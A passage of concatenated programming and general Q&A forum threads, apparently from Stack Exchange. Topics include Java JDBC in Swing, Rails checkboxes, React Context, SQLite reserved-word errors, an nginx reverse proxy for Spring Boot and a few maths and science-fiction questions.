            String Day=rs.getString("Day");
            String MJD=rs.getString("MJD");
            Double xarcsec=rs.getDouble("xarcsec");
            Double yarcsec=rs.getDouble("yarcsec");
            Double UT1UTCsec=rs.getDouble("UT1UTCsec");
            model.addRow(new Object[] { Year, Month, Day, MJD,xarcsec,yarcsec,UT1UTCsec});
        }
    }
    catch(Exception e) {
        JOptionPane.showMessageDialog(this, e.getMessage());
    }

How can I use the class instead of hard coding in the connection? I have already created the class but where do I instantiate it. Do I do it in the main of the form or do I do it in the actionevent code with the following code?
private Connection con = null;
private Statement stmt = null;
private ResultSet rs = null;

con = ConnectionManager.getConnection();
stmt = con.createStatement();
rs = stmt.executeQuery(sql);

A: To literally answer your question: your getConnection method is a public static method so you can call this from anywhere. Just call ConnectionManager.getConnection() where-ever you need that connection.
Some other remarks about your code:

*

*You shouldn't query a database in the actionPerformed method. This method is called on the EDT, and doing a database query and looping over the results is a long-running task. Doing this task on the EDT will block your UI. Consult the Concurrency in Swing tutorial for more info about Swing and threading

*Consider caching the Connection object

*Do not forget to close your resources. If I remember correctly, a ResultSet must be closed afterwards. Do this in a finally block


text:
Q: How to implement multiple selection on Rails 3 I have an index where I'm showing a list of documents. I would like to implement a multiple select in order to do different actions to the documents the user has selected
I have created a
<%= check_box_tag 'id', 'document.id %>

for each document, inside a form_tag
But if I select multiple checkboxes, the params that are passed to the action are overwrited and I'm just receiving the id of the last checkbox I've selected in the id param.
¿Anyone knows how to implement multiple select?¿Any other approach?
I'm running  Rails 3 and Ruby 1.8.7
Thanks in advance

A: You need to set :multiple => true
<%= check_box_tag 'id', document.id, :multitple => true %>

This will give you results in form of an array in params[:id]

A: Minor correction (plural):
<%= check_box_tag 'ids[]', document.id %>

ensure your model is properly set for attr_accessible  something like :document_ids


text:
Q: Props value is Undefined while passing through Context API in REACT My Provider File of Context API (Exp file)
import react form 'react';
import {createContext} from "react";

export const ContextforFile = createContext();

export function ContextData(props){
   let rdata=props.data
return(
   <>

{rdata}
  //I am able to Get the Data here NO ISSUES TILL HERE
  <ContextforFile.Provider value={rdata} >{props.children}</ContextforFile.Provider>
  </>
);
}

function A() {
  return (

      <ContextData data="Sara" />

  );
}

export default A;

My App.js File
import Exp, { ContextData } from './afterlogin/patirel/patmain';
import Experiment from './experi';
import {Routes,Route} from 'react-router-dom';
import * as React from 'react';

function App() {

  return (

   <ContextData>

    <Routes>
      <Route index element={<Exp/>} />
      <Route path="/experi" element={<Experiment/>} />
      </Routes>

    </ContextData>

  );
}

export default App;

only props.data value is not coming here while other values can be easily obtained
This is Experi file Where I want to get my values my Consumer File

import * as React from 'react';
import { useContext } from 'react';
import { ContextforFile } from './afterlogin/patirel/patmain';

export default  function Experi(){

const first= useContext(ContextforFile);
return(

ISSUE is Here Other VALUES are COMING BUT NOT props.data: {first}

);

  }

Please help! It's been days and i cannot figure out what am i missing? How can I resolve it?

A: Your function ContextData does not return anything. Yoo should return the ContextforFile.Provider

A: The possibility of getting the undefined value could be many things.
for Example:
maybe, you are getting undefined from props.data. maybe because
you are not providing the default value to createContext.
try the following steps these may help you.

*

*You must pass the default value to createContext if needed.

export const ContextforFile = createContext([value it could be any thing like array, string or object etc.]);

*when you create a hook you have to write the code something like this.

Your version:
const first= useContext(ContextforFile);
recommended version:
const useFirst= () => useContext(ContextforFile);

*Use this hook something like this.

const first= useFirst()

here you can find the difference: sandbox example


text:
Q: Dismiss modal view changes underlying UIScrollView There must be something basic that I am missing here. I have a UIScrollView open, which is controlled by a customer UIScrollViewController (called DataController). At a certain point in time, input from the user is needed, so I open a modal UIViewController from the DataController:
ElementSelectController *viewController = [[ElementSelectController alloc] initWithNibName:@"ElementSelectController" bundle:nil];
viewController.modalTransitionStyle = UIModalTransitionStyleCoverVertical;
viewController.theDelegate = self;
[self presentModalViewController:viewController animated:YES];

Once the user is ready with the modal view, it is dismissed again. This also happens from the DataController:
[self dismissModalViewControllerAnimated:YES];

This all works fine.
But when the modal view is gone, it turns out that the underlying UIScrollView is resized to full screen, and scrolled to position (0,0). This is the case even with a simple modal view that does not do anything else but be dismissed.
Obviously, I want the UIScrollView to remain in the same state and size as it was before the modal view came up.
Any ideas what I am doing wrong?
I checked the stack trace when the UIScrollView frame is set (through a break-point in setFrame: of a custom UIScrollView), and it appears that it is called from:
-[UITransitionView transition:fromView:toView:]

which is called via, via from the dismissModalViewControllerAnimated call.

A: -[UITransitionView transition:fromView:toView:]

Is perfectly normal for transitioning from the modal back to your view. This is the animation etc, try you modal with animation if you think that could make a difference.
Take a look at your viewWillAppear, WillDisappear, DidAppear...
Even the Load and Unload if appropriate, although unlikely those are called for your trivial test with nothing in the modal.
Try placing some logging in those methods to see which is called.
Also are you saying there is no custom code in those methods, or your controller doesn't override them at all? Could make a difference.


text:
Q: Creating Carousel with Jquery I created a two-row carousel (HTML code and screenshot below).

*

*How to make them work with JQuery or Javascript -> when I click on the "right" or "left" arrow, to move both rows at the same time, one image at the time?

*How to make the first image from the right in the first row to be in focus?

        <button onclick="changeSlide('next')">

        </button>

        <button onclick="changeSlide('previous')">

        </button>

Lorem, ipsum dolor.

Lorem ipsum dolor sit, amet consectetur adipisicing elit. Illum,
   consequatur.

Image of the carousel

A: For the first point, this should help you
$(function () {
    var slick = $('.your-class').slick({
        appendArrows: $('#arrows')
    });

    $('.slick-next').on('click', function () {
        slick.slickNext();
    });
    $('.slick-prev').on('click', function () {
        slick.slickPrev();
    }); });

Demo jsfiddle


text:
Q: delphi sql count to variable I'm new to this sort of thing. I am doing a school project and need to be able to get a count result from sql to a variable. I am using an ADOQuery to access the database.
The code used for the count is:
qryDatabase.SQL.Text := 'COUNT * FROM tblKandidate';

but I don't know how to assign this value to an Integer variable. Pls. try to stick to the basics as I am not very experienced yet.
Thank you, Robin


text:
Q: NA issue with a cumsum function I have an issue with a cumsum for a vector that starts with an NA.
Do you have an idea how to transform the first NA to 0 or just skip the first one?
Here is my code :
Symbol <- c("AA", "AA", "AA", "AA", "AA", "AA", "AA","AA","AA","AA", "AA", "AA", "AA", "AA", "AA", "AA","AA","AA","AA")
days <- c(3, 10, 29,13,14,29,19,1,4,3, 10, 29,13,14,29,19,1,4,7)
month <- c(1, 1, 5,7,1,2,5,7,9,1, 1, 5,7,1,2,5,7,9,12)
years <- c(2014,2014,2015,2015,2016,2016,2016,2016,2016,2014,2014,2015,2015,2016,2016,2016,2016,2016,2016)
price <- c(10,20,15,14,16,17,9,14,12,14,15,18,5,10,6,18,12,8, 14)
shares <- c(100,50,-30,400,-200,-100,-100,-150,-120,-100,-50,-100,70,-70,190,250,50,120,150)

    df <- data.frame(Symbol,days,month,years,price,shares)
    df %>%
    mutate(value = shares*price,
     cum_shares = cumsum(shares),
     cum_value = ifelse(lag(cum_shares != 0),
                        ifelse(lag(cum_shares) > 0 & cum_shares < 0 | lag(cum_shares) > 0 & cum_shares < 0,
                               cum_shares*price,
                               cumsum(value)),
                         value),
     Av_price = ifelse(is.infinite(cum_value/cum_shares),
                       0,
                       cum_value/cum_shares),

     Profit = ifelse(cum_shares >= 0 & shares<0,
                 ifelse(lag(cum_shares) > 0 & cum_shares < 0, #YES
                       (lag(cum_shares)*Av_price) - (lag(cum_shares)*lag(Av_price)),  #yes
                       (lag(Av_price)*shares)-value), #no
                 ifelse(cum_shares <= 0 & shares>0, #NOP
                    ifelse(lag(cum_shares) > 0 & cum_shares < 0, #yes
                          (lag(cum_shares)*Av_price) - (lag(cum_shares)*lag(Av_price)),
                          lag(Av_price)*shares-value),
                    ifelse(cum_shares <= 0 & shares < 0, #no
                           ifelse(lag(cum_shares) > 0 & cum_shares < 0,
                                  (-lag(cum_shares)*lag(Av_price)) + (lag(cum_shares)*price),
                                  0),
                            ifelse(cum_shares>0 & shares > 0,
                                   ifelse(lag(cum_shares) <0 & shares >0,
                                        (-lag(cum_shares)*lag(Av_price)) + (lag(cum_shares)*price),
                                        0),
                                   0))
                                  )),

     cum_profit = cumsum(Profit))

A: dplyr's lag has a default argument which can be set to specify the value to be filled in.  For example, using the built-in data frame BOD:
BOD %>% mutate(Lag = lag(Time, default = 0), Cum = cumsum(Lag))

giving:
  Time demand Lag Cum
1    1    8.3   0   0
2    2   10.3   1   1
3    3   19.0   2   3
4    4   16.0   3   6
5    5   15.6   4  10
6    7   19.8   5  15

or if you want to show Lag with an NA but have 0 in cumsum:
BOD %>% mutate(Lag = lag(Time), Cum = cumsum(lag(Time, default = 0)))

giving:
  Time demand Lag Cum
1    1    8.3  NA   0
2    2   10.3   1   1
3    3   19.0   2   3
4    4   16.0   3   6
5    5   15.6   4  10
6    7   19.8   5  15

A: For a vector x
# Skip the first element:
x[-1]

# Replace the first element with 0
c(0, x[-1])

# Remove all missing values
na.omit(x)   # adds attributes, which can be annoying
x[!is.na(x)]

Any of these can be wrapped in cumsum()


text:
Q: IDing a reverse-race-prejudice story mentioned by Algis Budrys In a memoir by Algis Budrys in Worlds of If, A Retrospective Anthology, he writes

I remember-unfortunately not in detail-a short story in which a
  returning white astronaut finds the US firmly in the hands of blacks.
  The blacks were depicted as rather middle-class types, given to
  three-piece suits and lip-service liberalism, which made their
  ineradicable basic antiwhite racial bias all the more poignant. The
  whites were called "sharkies" – this was long before the common use of
  "honky"…

He goes on to say that it appeared in Worlds of If in the early 1950s.
My searches have failed to turn up the story. Can anyone ID it?

A: Alan E Nourse's "Marley's Chain" as per this review, appearing in If, September 1952.

Nuclear wars, fought among the whites, have turned them into a minority; majority of those living are now blacks (I guess author is referring only to US?) There is some sort of uprising, bringing out centuries of stored hatred – so it's now a black man's US where whites ("Sharkies") aren't welcome.

Tam Peters, a white man, has just returned after many years of work on other planets to find his US has no place for him anymore. He will eventually resolve his dilemma the way of Kurt Vonnegut's "The Big Trip Up Yonder" (download)!

Found with a search for science fiction "sharkies" black racist. Available here on Project Gutenberg.


text:
Q: How to replace annotation @Dependent and @ApplicationScoped in java SE and jersey? I use java 8 SE and jersey. I found example of jwt service here,
there is used java 6 EE.
Does someone know about analogs of this annotations or other solution of this problem?

A: I solved it by replacing this annotations on @Singelton and adding
ApplicationBinder
public class ApplicationBinder extends AbstractBinder {
    @Override
    protected void configure() {
        bind(UserService.class).to(UserService.class).in(Singleton.class);
    }
}

ResourceConfig
public class ApplicationConfig  extends ResourceConfig {
    public ApplicationConfig() {
        register(new ApplicationBinder());
        packages(true, "api");
    }
}

than I just can inject bean-classes by annotation @Inject


text:
Q: Is there a way to split (bootstrap) carousel content in 1 slide into 2 carousel slides dynamically? I am currently rendering the carousel slides for Twitter Bootstrap's carousel using for-loops. For each slide, the content is dynamically inserted as well with a nested for-loop. What I want is to limit the number of items appearing in each slide (i.e. 2 items). If there are more, I would want to move them into the next slide.
So basically, for each 2 items in the inner for-loop, create a new carousel slide, but making sure it is part of the parent carousel (not a new carousel altogether).
Attached an image to hopefully illustrate my point better.

Code that I have so far (using PHP framework Laravel):

        @foreach ($carousel_slide)

                @foreach ($inner_content)

                            {{{ $inner_content->image }}}
                        {{{ $inner_content->caption }}}

                @endforeach

        @endforeach

        Next

A: In this scenario is recommended to use regular for loop and keep incrementing the index.
In inner cycle add 2 items and increment the counter each time. Here is the meta code for this
for (;count($arr)>0;)
build next carousel page
for (;count($arr)>0;$item=array_pop($arr))
build item on carousel page
endfor
endfor


text:
Q: Help with this JET Sql Query  I need help to do this query select.
for example I have these fields:

*

*idInvoice

*date

*amount

Depending of the date I need multiply the field "amount" for x number or other one.
For example, if the date is less 01/01/2010 to multiply for 20 . But if it is major or equal to multiply for 35
Select idInvoice, date, amount, amount * varNumber from invoices

A: Assuming your date field does not allow Nulls, you should be able to use an IIf expression for your calculation.
SELECT
    idInvoice,
    [date],
    amount,
    IIf([date] < #2010/01/01#, amount * 20, amount * 30) AS extended_amount
FROM invoices;

Notice I enclosed the date field name in square brackets because date is a reserved word in Access.  The square brackets signal the database engine that you want a field named "date" rather than the Date() function.
Also Access date fields include a time component.  So that query will multiple amount by 20 for any values earlier than midnight at the start of this year.  That means for 1/1/2010 at 1:00 AM, amount would be multiplied by 30.  If that isn't what you want, change the IIf expression.
And if your [date] field allows Nulls, look at Access' help for the Nz() function.

A: or
SELECT
    idInvoice,
    [date],
    amount,
    amount *IIf([date] < #2010/01/01#, 20, 30) AS extended_amount
FROM invoices;

A: Select idInvoice, date, amount,
amount * case when date<'20100101' then 20 else 35 end as amount from invoices


text:
Q: Using qemu/kvm to boot Linux kernel with argument like "-kernel, -initrd,-append" In qemu/kvm, we can set arguments -kernel with path to kernel image, -initrd with path to init ram disk and -append with the cmdline for booting kernel. Will it be conflict with the linux kernel image included in the guest system? How can it skip the duplicate procedure of loading kernel image when guest is booted?
Thanks

A: I am guessing that your are referring on your kernel vmlinuz image with the /boot/vmlinuz kernel image that your init ram disk has on.
The boot process are a two (in general) step process.
a. The initial boot (parameter -kernel) that use the qemu-kvm binary, is to load a kernel into ram and a initramfs disk.
b. Then the kernel will try to identify the /boot/vmlinuz kernel on your initramfs and pivot (or switch_root) to your /boot/vmlinuz kernel inside your initramfs image.
So there is no duplicate procedure and no conflict with the guest (or host) kernel image.
If you want to try a new kernel image for your initramfs image, then i suggest to boot your new kernel image and chroot to your initramfs image (with bind mounts on /sys, /dev & /proc).
You have to be sure that your "new" kernel image can read properly the initramfs.
On append parameters - dont forget to add your kernel path of your initramfs image


text:
Q: Slide panel in from right I'm trying to replicate the effect on this website in the portfolio section where it slides a panel in the full size of the viewport and then slides it out when you click close.
Example here: http://alwayscreative.net/#portfolio
Here's my current markup:

What are you interested in?

        Commercial
        Residential

The .panel section is 100% height and width of the viewport and I'd like 2 different panels to be able to slide in — one for #btn-commercial and one for #btn-residential.
Any ideas how to make this happen?
If it helps any, here's my site so far: http://www.freshbrand.ca/testlink/top40/#portfolio

A: Here's how you would do it with JQuery but clearly you can do it in normal javascript if you prefer. Set up the panels with position absolute in your css:
.panel {
  position: absolute;
  top: 0;
  height: 100%;
  border-width: 0;
  margin: 0;
}
.panel inactive{
  display: none;
}
.panel active {
  display: block;
  left: 0;
  width: 100%;
  height: 100%;
}

in your javascript (after the dom has loaded) get the screen dimensions and set the positions of the inactive elements to just off the right hand edge of the screen:
$('.panel').css('width', screen.innerWidth);

var setup = function() {
  $('.portfolio-panel.inactive').css('left', window.innerWidth);
  $('.portfolio-panel.active').css('left', 0);
}
setup();

When you wish to slide a panel in from the right, pass its id to the following function:
var slideIn = function(panelId) {
  $('#' + panelId).animate({
    left: 0
  }, 400, function () { // animates the #left property from the screen width down to zero (i.e. slide it in from the right hand edge of the screen)
    // tidy up
    $('.portfolio-panel.active').removeClass('active').addClass('inactive');
    $('#'+panelId).removeClass('inactive').addClass('active');
    setup();
  });
};

EDIT: The event handler would look something like this:
$('.btn-portfolio').click(function() {
  slideIn($(this).attr('id').substr(4)); // extract the panel name from the id and pass it into slideIn
});

The only remaining issue is to eliminate the horizontal scroll bar you will probably see during the animation. Just add overflow-x: hidden; to the element to which the scroll bar belongs (probably body, but it depends on how you've structured and styled the rest of your site)

A: This is basically a single page website, a lot of jQuery plugins are available for the same.
I personally prefer
http://joelb.me/scrollpath/
Check out it's demo and download the code from github's link
https://github.com/JoelBesada/scrollpath
Hope this helps


text:
Q: Log out of facebook automatically if logged in I am having a Facebook application that is running fine. However once i login to the facebook account, i have no choice to logout. Therefore in viewDidLoad i want to explicitly logout if already logged in. Anyone who can help me on this please provide me the necessary piece of code. Thank you in advance...

A: I think you can delete the cookies from cookie store.
NSHTTPCookieStorage* cookies = [NSHTTPCookieStorage sharedHTTPCookieStorage];
for (NSHTTPCookie* cookie in [[NSHTTPCookieStorage sharedHTTPCookieStorage] cookies])
{
    if ([[cookie domain] isEqualToString:@".facebook.com"])
    {
        [cookies deleteCookie:cookie];
    }

}


text:
Q: Did galaxies spin differently 4, 5, 6 billion years ago? Today I read that the Matter-dominated era ended 4 billion years ago, and now we're in the Dark Energy dominated era.
Obviously, light from galaxies far enough away would be from earlier in the chronology of the universe. For example, the Abell 370 cluster is 5 billion light years away.
Is there a before / after period where galaxies behave differently?


text:
Q: Mean stack website loads very slow on server I have problem to find out why my mean stack website load very slow.
I have debug the problem and removed unnecessary css and javascript files but still it gets around 9-12 seconds in page load.
In my home page i m loading all the contents with text message and media message but if there is no contents then still it takes long time to load page.
i have doubts that it takes time because

*

*i have call api for check session on angular controller load.

*fetch all users list on angular controller load.

*fetch category list on angular controller load.

*i have given that controller scope in whole body tag so it is ok??

*i have all node modules locally in my project.

So Please help me to debug my problem in right direction where i m going wrong??

A: Angular and node both are good but all that matters is your application architecture.

*

*Angular will take to load the data when your data is big,
make sure your all calculation should be in back end so your front will take lesser time to put all data on html.

*Angular will have to detect {{}} this to see calculations and expressions to put data in it.

*And in case of back end, your logic and calculations should be in lesser code.

*Keep this in mind, lesser the code faster your calculation, so be precious

*Avoid complex coding

*And lesser your api hits so angular will wait for lesser time to have data and put it all on html.

*But in some cases, your PC and OS matters.


text:
Q: Does Chocolina have something for me after I complete her mini-quest in Sazh: Heads or Tails? In the Sazh: Heads or Tails? DLC, you need to get 30 medals in order to complete the main quest. I got those medals via the poker mini-game before realizing you can get three from completing a mini-quest for Chocolina.
I completed the mini-quest, and now the game says that Chocolina doesn't have anything for me now, but that I should continue playing card games and check back later.
Does she actually have something, or is this just a cue for people who still need more medals? If she does have something, did I miss out by not completing the quest at the appropriate time (before completing the main quest)?
If not, how many card games should I play before checking back?

A: If you get this message when talking to Chocolina, there's more to her story and she does have more for you.
To test this, I closed the gate and restarted the DLC. Before winning any medals at the card tables, I went to see Chocolina and completed the three chocobo chick fetch quest she had: haughty, hermit, and manic. As before, once complete, she just smiled and I got the dialog saying she didn't have anything for me right now.
I then went and played an entire game of Texas Hold'em, got a few dozen medals, and visited her again. This time, she had two new chocobo chick fetch quests: lovebird and conniving.
Once you collect this second round of chocobo chicks, she'll ask you a trivia question about all the chicks. If answered correctly, there'll be a cut scene where Chocolina explains more about herself. Afterwards, talking to her will give you the option of having the chocobo chicks follow you around while in Serendipity.

A: I do believe I have been stuck in your boat as well, but after a couple minutes of searching I found a review that (possibly) explains everything.
http://www.themogblog.com/2012/02/28/the-dlc-downlow-final-fantasy-xiii-2-sazh-heads-or-tails/
According to this particular link (and xbox360achievements.org forums) all you can possibly get is that little twist of the story that the DLC has to offer. I myself am quite pleased with how it ended, though I am somewhat disappointed that you couldn't get anything else from Chocolina after finishing her mini-quest (which nets you those few coins). Hope this sums things up for you bud! I know it did for me :P


text:
Q: Why won't pySerial write inside of my program? So I have a program set up on my arduino nano which reads a single byte from the serial port and turns on an LED depending on whether or not the byte received was 1 or 0. I thoroughly tested this program, both on the Serial monitor and with pySerial in the python 3 shell, and it worked fine. But when I have a simple program like this:
import serial
SERIAL = serial.Serial("COM4", 9600)
SERIAL.write(b'1')

The board doesn't do anything. What am I doing wrong that pySerial works in the python shell but not in a python program?

A: After you open the serial port, delay it for minimum a second, because the Arduino resets itself when you open the serial connection and doesn't start reading from the serial immediately.
Example:
import serial
import time
SERIAL = serial.Serial(baudrate='115200', timeout=.2, port='com4') #this edit is not important
time.sleep(3) #sleep 3 seconds
SERIAL.write(b'1')


text:
Q: Getting user's real name from google account Is there a way to get user's real name as set in Google account?
I can use AccountManager.get(ctx).getAccountsByType("com.google") to get user's google email address.
However I'd like to get real name, for greeting user nicely in my app.
Is there some Android API to get this info?

A: You can do this only in Android 4.0 (API level 14 +)
Please take a look at this post.


text:
Q: Smallest possible number $|11^x-5^y|$ What is the smallest possible number $|11^x-5^y|$ when $x,y \in \Bbb N$?
I only found when $x=2,y=3$ number $4$.

A: The correct answer is 4. You can observe this based on the following two facts:

*

*$11^x$ will always end in a 1 for $x \in \mathbb{N}$

*$5^y$ will always end in a 5 for $y \in \mathbb{N}$
Because of this, $11^x$ must be at least 4 from $5^y$. Since you have found an $x,y$ pair that yields exactly 4, you have achieved the best possible, and the smallest value is therefore 4.


text:
Q: Raspberry Pi 4 Ubuntu 21.04 Desktop Raspberry System slowly over night System becomes slow overnight, mouse cursor jerks. Just restarting helps.
Ubuntu 21. 04 Desktop Raspberry all updates.
Problem occurs with Raspberry Pi 4 8GB.
The device runs overnight. Only the monitor is switched off. The next morning,
System very slow and looks like frozen.
Is reproducible on 3 x Raspberry Pi Four!
Problem exists since release of the version
21. 04 Desktop Raspberry.
With Ubuntu 20. 10 Raspberry and Ubuntu Budgie 21. 04 there was and there is no problem!

A: I found that using the built in GPU makes a big difference in most desktop use.  If the Graphics Adaptor is "unknown", it is going to be slow on graphics tasks.  There is a 3rd party package from Q-Engineering called Vulcan that makes a huge difference.  Somehow it was available in 20.04 but I had to do a complete source build and install when I upgraded to 21.04 (and noticed the massive slowdown).  There is probably lots more to this and maybe a better solution out there but this is what I had to do.  Link below (if this site permits).
https://qengineering.eu/install-vulkan-on-raspberry-pi.html


text:
Q: Unknown class in interface builder + NSUnknownKeyException I'm building a today extension, which works fine on iOS13+ but somehow it doesn't work for the versions below.
On other versions I get following error:
2019-12-20 08:45:41.741 MyWidget[4730:53043] Unknown class _TtC14MyWidget19TodayViewController in Interface Builder file.

2019-12-20 08:45:41.850 MyWidget[4730:53043] *** Terminating app due to uncaught exception 'NSUnknownKeyException', reason: '[<UIViewController 0x7ffe59401f10> setValue:forUndefinedKey:]: this class is not key value coding-compliant for the key loginViewNew.'

At first I thought it was caused, because in the properties under Interface Builder Document builds for was set to iOS13 and later, so I changed this in my storyboard and all my other .xib files but this did not solve the problem, I still get the same error.
I also checked my outlets and there are no errors there as well, storyboard can find my TodayViewController class so I have no clue what the problem can be.
It does not only occur for the key loginViewNew, if I delete that outlet the error mentions the next view and so on.
Does anyone have suggestions for solving this problem?

A: Some cases generate an Unknown class in Interface Builder file after Xcode 11 with a target below iOS 13. The main cause it's related to xcframeworks this is so expected because when building a framework for distribution required changes to the Objective-C runtime that are only available in iOS 13 and later. The following samples on how to reproduce the unknown class.

*

*public enum exported by framework and used as attribute on class:

// SampleEnum exported on framework
public enum SampleEnum: String {
  case A = "a"
  case B = "b"
}

// SampleViewController on your current target
public class SampleViewController: UIViewController {
  private var sampleEnum: SampleEnum = .A
}

// Causes Unknown class _TtC6Sample20SampleViewController in Interface Builder file.

*

*inheritance of inheritance as:

// Base BaseViewControoler exported on framework
public class BaseViewController: UIViewController {
}

// ScreenAViewController on your current project
public class ScreenAViewController: BaseViewController {
}

// Causes Unknown class _TtC6Sample21ScreenAViewController in Interface Builder file.

*

*small issues on interface builder on Show the Identify inspector section Custom Class fields:

Class
Module
Inherit Module From Target


text:
Q: Syntax bug in SQLite project, can't find him I firstly try work with SQLite, I`ve syntax bug, but I can't find him for 5-6 hours
Code from MainActivity.java, in this class I call database:
package ua.bellkross.notepadjava;

import android.content.ContentValues;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.widget.EditText;

public class MainActivity extends AppCompatActivity {

    EditText editText;
    DatabaseHelper databaseHelper;
    SQLiteDatabase db;
    Cursor userCursor;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        editText = (EditText) findViewById(R.id.editText);

        databaseHelper = new DatabaseHelper(getApplicationContext());

    }

    @Override
    protected void onResume() {
        super.onResume();
        db = databaseHelper.getWritableDatabase();

        userCursor = db.rawQuery("select * from " + DatabaseHelper.TABLE, null);
        editText.setText(userCursor.getString(userCursor.getColumnIndex(DatabaseHelper.COLUMN_NAME)));
    }

}

Code from DatabaseHelper.java, in this code I have syntax error, in methot onCreate:
package ua.bellkross.notepadjava;

import android.content.Context;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;

public class DatabaseHelper extends SQLiteOpenHelper {
    private static final String DATABASE_NAME = "userstore.db"; // название бд
    private static final int SCHEMA = 1; // версия базы данных
    static final String TABLE = "table"; // название таблицы в бд
    // названия столбцов
    public static final String COLUMN_ID = "_id";
    public static final String COLUMN_NAME = "name";

    public DatabaseHelper(Context context) {
        super(context, DATABASE_NAME, null, SCHEMA);
    }

    @Override
    public void onCreate(SQLiteDatabase db) {

        db.execSQL("CREATE TABLE users (" + COLUMN_ID
                + " INTEGER PRIMARY KEY AUTOINCREMENT, " + COLUMN_NAME + " TEXT);");
        // добавление начальных данных
        db.execSQL("INSERT INTO "+ TABLE +"(" + COLUMN_NAME + ") VALUES ('Text');");
    }
    @Override
    public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
        db.execSQL("DROP TABLE IF EXISTS "+TABLE);
        onCreate(db);
    }
}

It's message from logcat:

Caused by: android.database.sqlite.SQLiteException: near "table":
  syntax error (code 1): , while compiling: INSERT INTO table(name)
  VALUES ('Text');
                                                                              at
  android.database.sqlite.SQLiteConnection.nativePrepareStatement(Native
  Method)
                                                                              at
  android.database.sqlite.SQLiteConnection.acquirePreparedStatement(SQLiteConnection.java:889)
                                                                              at
  android.database.sqlite.SQLiteConnection.prepare(SQLiteConnection.java:500)
                                                                              at
  android.database.sqlite.SQLiteSession.prepare(SQLiteSession.java:588)
                                                                              at android.database.sqlite.SQLiteProgram.(SQLiteProgram.java:58)
                                                                              at
  android.database.sqlite.SQLiteStatement.(SQLiteStatement.java:31)
                                                                              at
  android.database.sqlite.SQLiteDatabase.executeSql(SQLiteDatabase.java:1677)
                                                                              at
  android.database.sqlite.SQLiteDatabase.execSQL(SQLiteDatabase.java:1608)
                                                                              at
  ua.bellkross.notepadjava.DatabaseHelper.onCreate(DatabaseHelper.java:25)
                                                                              at
  android.database.sqlite.SQLiteOpenHelper.getDatabaseLocked(SQLiteOpenHelper.java:251)
                                                                              at
  android.database.sqlite.SQLiteOpenHelper.getWritableDatabase(SQLiteOpenHelper.java:163)
                                                                              at
  ua.bellkross.notepadjava.MainActivity.onResume(MainActivity.java:33)
                                                                              at
  android.app.Instrumentation.callActivityOnResume(Instrumentation.java:1269)
                                                                              at android.app.Activity.performResume(Activity.java:6766)
                                                                              at
  android.app.ActivityThread.performResumeActivity(ActivityThread.java:3377)
                                                                              at
  android.app.ActivityThread.handleResumeActivity(ActivityThread.java:3440)
                                                                              at
  android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2713)
                                                                              at android.app.ActivityThread.-wrap12(ActivityThread.java)
                                                                              at
  android.app.ActivityThread$H.handleMessage(ActivityThread.java:1460)
                                                                              at android.os.Handler.dispatchMessage(Handler.java:102)
                                                                              at android.os.Looper.loop(Looper.java:154)
                                                                              at android.app.ActivityThread.main(ActivityThread.java:6077)
                                                                              at java.lang.reflect.Method.invoke(Native Method)
                                                                              at
  com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:866)
                                                                              at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:756)  07-26
  10:03:09.757 1375-1382/ua.bellkross.notepadjava W/art: Suspending all
  threads took: 8.571ms

A: you are using table as a table name for insert so please change name of your table name in insert statement
static final String TABLE = "users"

A: "table" is the reserved keyword. Please change the table name to any not reserved SQL keyword.

A: You are creating a table with named users
db.execSQL("CREATE TABLE users (" + COLUMN_ID
                + " INTEGER PRIMARY KEY AUTOINCREMENT, " + COLUMN_NAME + " TEXT);");

and inserting value in table named table
 db.execSQL("INSERT INTO "+ TABLE +"(" + COLUMN_NAME + ") VALUES ('Text');");

First change the name of table in constants
static final String TABLE = "users";

Now change your queries
db.execSQL("CREATE TABLE "+ TABLE +"(" + COLUMN_ID
                + " INTEGER PRIMARY KEY AUTOINCREMENT, " + COLUMN_NAME + " TEXT);");

Hopefully this solve your problem also check other string concatenation issues if any.


text:
Q: NGINX - Spring Boot app ( "/etc/nginx/html/index.html" is not found ) So I have spring boot app that i want to put behind nginx, problem is i get Connection refused when accessing localhost.
What my nginx config looks like :
    server {

    listen 80;
    server_name workaround;
    charset utf-8;
    access_log off;

    location / {
       proxy_pass http://172.19.0.3:8080/workaround;
       proxy_set_header X-Real-IP         $remote_addr;
       proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
       proxy_set_header X-Forwarded-Host  $host;

     }
}

What I have running :

What I get as a response when accesing localhost

404 not found. How come Its looking for some etc/nginx/html/index, when this is in my docker compose file :

  nginx:
    container_name: workaround-nginx
    image: nginx:1.15.12-alpine
    restart: always
    ports:
      - 80:80
      - 443:443
    volumes:
      - ./nginx/conf.d:/etc/nginx/conf.d
      - ./data/certbot/conf:/etc/letsencrypt
      - ./data/certbot/www:/var/www/certbot
    depends_on:
      - workaround

What is wrong with my configuration? How do i properly access my SB application?

*

*I have tried to use localhost instead of IP bud that didnt worked.
Since it used nginx ip where app is not running.

*I was thinking about rewriting somehow default config of nginx bud how do i even do that from dockerfile , and then why would i have to be forced to do that when volume has mapping already set.

A: Ok i figured it out, and i even managed to fix it so it works with resources that have hash prefixes:
events {
  worker_connections 1024;
}

http {

  server {
        listen 80;
        charset utf-8;
        access_log off;
        try_files $uri $uri/ =404;

        location / { #this still has to be here, otherwise i get ISE
            proxy_pass http://workaround:8085/;
        }

        location ^~ { #this thing fixes hashes and resources
            proxy_pass              $scheme://workaround:8085/$request_uri;
            proxy_redirect  off;
            proxy_set_header        X-Real-IP $remote_addr;
            proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header        Host $http_host;
            expires 30d;
         }
    }

}


text:
Q: How to check if an uncountable set of functions is linearly independent How should I check if an uncountable set of functions is linearly independent? There is an exercise in Cheney's book which is:

Prove that the set of functions $\{ u_x : x\in \mathbb{R} \}$ is linearly independent. $u_x(t)=e^{ixt}$ where $x$ and $t$ are real numbers.

I know what to do exactly for countable sets but in uncountable sets I'm not even sure what does it mean. Should I use integral?

